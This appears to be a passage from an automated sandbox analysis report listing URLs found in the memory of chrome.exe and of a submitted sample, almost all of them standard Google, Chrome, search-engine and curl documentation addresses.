Source: chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000003.00000002.1802543269.000009C002BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: Amcache.hve.14.dr	String found in binary or memory: http://upx.sf.net
Source: chrome.exe, 00000003.00000002.1802833863.000009C002C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: chrome.exe, 00000003.00000002.1803333950.000009C002D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000003.00000002.1798586474.000009C00227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000003.00000002.1800316325.000009C002694000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800148287.000009C00261C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000003.00000002.1798411832.000009C00221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo?source=ChromiumBrowser
Source: chrome.exe, 00000003.00000002.1798586474.000009C00227C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802865127.000009C002C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
Source: chrome.exe, 00000003.00000002.1802865127.000009C002C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardi
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout?source=ChromiumBrowser&continue=https://accounts.google.com/chrom
Source: chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000003.00000002.1802865127.000009C002C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin?source=ChromiumBrowser&issueuberauth=1
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000003.00000002.1798740070.000009C0022B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000003.00000002.1798740070.000009C0022B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000003.00000002.1798740070.000009C0022B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000003.00000002.1798586474.000009C00227C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830supportsGetMemoryRequirements2
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000003.00000002.1806134675.000009C0031EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1803333950.000009C002D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000003.00000003.1782105384.000009C002EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000003.00000002.1800913918.000009C002838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000003.00000002.1803141625.000009C002D0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802770434.000009C002C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806608087.000009C0034A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801775898.000009C0029BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000003.00000002.1800913918.000009C002838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreEKdWNSCo=
Source: chrome.exe, 00000003.00000002.1802174854.000009C002ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786789354.000009C002E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1782070169.000009C002E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1789544091.000009C002E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1784986564.000009C002EA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1782105384.000009C002EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000003.00000002.1798840088.000009C0022FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscoverOU
Source: chrome.exe, 00000003.00000003.1773428354.00003318006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808624926.000033180078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000003.00000002.1809292365.000033180080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772909545.0000331800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773120628.000033180039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000003.00000003.1773428354.00003318006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808624926.000033180078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000003.00000002.1809292365.000033180080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772909545.0000331800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773120628.000033180039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000003.00000002.1808624926.000033180078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000003.00000003.1773362486.0000331800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808624926.000033180078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000002.1809292365.000033180080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772909545.0000331800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773120628.000033180039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000003.00000002.1799086120.000009C00238C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000003.00000002.1803615041.000009C002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/_
Source: chrome.exe, 00000003.00000003.1769513809.0000512C002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1769531859.0000512C002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801128937.000009C0028A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1798411832.000009C00221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000003.00000002.1803034451.000009C002CC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod
Source: chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000003.00000002.1801646893.000009C002950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800913918.000009C002838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: chrome.exe, 00000003.00000002.1804586922.000009C002F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/
Source: chrome.exe, 00000003.00000002.1804586922.000009C002F5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/(n
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803615041.000009C002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000003.00000002.1798910964.000009C002334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1804557646.000009C002F40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1801745522.000009C0029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801775898.000009C0029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806096560.000009C0031B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1801745522.000009C0029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801775898.000009C0029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806096560.000009C0031B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1801745522.000009C0029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801775898.000009C0029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806096560.000009C0031B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000003.00000002.1804614068.000009C002F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803615041.000009C002E14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800719906.000009C0027E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.1803615041.000009C002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapplt
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000003.00000002.1804614068.000009C002F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/e
Source: chrome.exe, 00000003.00000002.1804557646.000009C002F40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1801646893.000009C002950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800442654.000009C0026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806134675.000009C0031EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1804384734.000009C002F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803615041.000009C002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000003.00000002.1804557646.000009C002F40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1801646893.000009C002950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800442654.000009C0026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806134675.000009C0031EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
